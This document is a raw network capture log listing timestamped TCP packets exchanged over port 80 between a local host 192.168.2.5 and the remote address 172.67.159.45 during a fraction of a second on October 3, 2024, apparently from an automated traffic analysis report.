Oct 3, 2024 05:02:59.518469095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518482924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518505096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518516064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518552065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518697023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518729925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518747091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518763065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518781900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518795967 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518809080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518830061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518842936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518876076 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518898964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518933058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518945932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518979073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518985987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519017935 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519032001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519051075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519063950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519083977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519098043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519117117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519129038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519150972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519162893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519184113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519197941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519217014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519231081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519249916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519262075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519283056 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519294977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519330978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519448042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519479990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519500971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519512892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519529104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519541025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519560099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519573927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519588947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519607067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519620895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519639969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519653082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519673109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519686937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519706011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519721031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519740105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519752979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519777060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.519788980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.519824982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520008087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520036936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520056963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520068884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520086050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520102978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520117044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520133972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520147085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520167112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520183086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520200014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520214081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520234108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520246029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520266056 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520279884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520299911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520313025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520332098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520347118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520364046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520378113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520396948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520411015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520431042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520442963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520462990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520476103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520495892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.520509005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.520540953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521430016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521481991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521481991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521516085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521533966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521548986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521567106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521591902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521630049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521662951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521687984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521697044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521713972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521729946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521744013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521778107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521811962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521842957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521856070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521888971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521923065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521950960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521970987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.521982908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.521995068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522017002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522030115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522049904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522068977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522097111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522139072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522167921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522188902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522217035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522219896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522253990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522264004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522285938 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522299051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522320032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522335052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522352934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522371054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522386074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522399902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522432089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522433996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522466898 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522481918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522512913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522516012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522550106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522564888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522581100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522595882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522619009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522628069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522669077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522669077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522706032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522721052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522741079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522753954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522775888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522789001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522804022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522824049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522835016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522851944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522869110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522883892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522901058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522917986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522934914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522959948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.522969007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.522990942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.523000956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.523008108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.523050070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.610819101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.610873938 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.610907078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.610924006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.610940933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.610970974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611006021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611264944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611265898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611279011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611314058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611346960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611407042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611457109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611470938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611470938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611470938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611470938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611490011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611506939 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611522913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611547947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611556053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611589909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611623049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611623049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611623049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611633062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611670971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611715078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611747980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611768961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611783028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611797094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611815929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611835003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611864090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611867905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611901045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611920118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611937046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611958981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.611968994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.611984968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612001896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612029076 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612037897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612062931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612071991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612082958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612101078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612127066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612144947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612201929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612236977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612257004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612283945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612318993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612353086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612370968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612401009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612404108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612437010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612453938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612488031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612504959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612517118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.612539053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.612565994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614161968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614232063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614265919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614304066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614319086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614337921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614356995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614386082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614392042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614424944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614444971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614460945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614478111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614494085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614510059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614526987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614543915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614561081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614577055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614595890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614610910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614631891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614646912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614665031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614686012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614698887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614712954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614732981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614753008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614774942 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.614782095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.614826918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615150928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615185022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615206003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615220070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615235090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615272999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615317106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615366936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615451097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615504026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615506887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615539074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615556002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615571022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615590096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615608931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615626097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615657091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615659952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615694046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615710974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615729094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.615742922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615784883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.615982056 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616014957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616040945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616049051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616063118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616096020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616117001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616151094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616167068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616185904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616200924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616219044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616235971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616251945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616274118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616286039 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616297007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616321087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616343975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616369009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.616419077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.616471052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618076086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618108988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618139982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618148088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618148088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618199110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618329048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618362904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618380070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618396044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618411064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618432999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618451118 CEST	49705	80	192.168.2.5	172.67.159.45
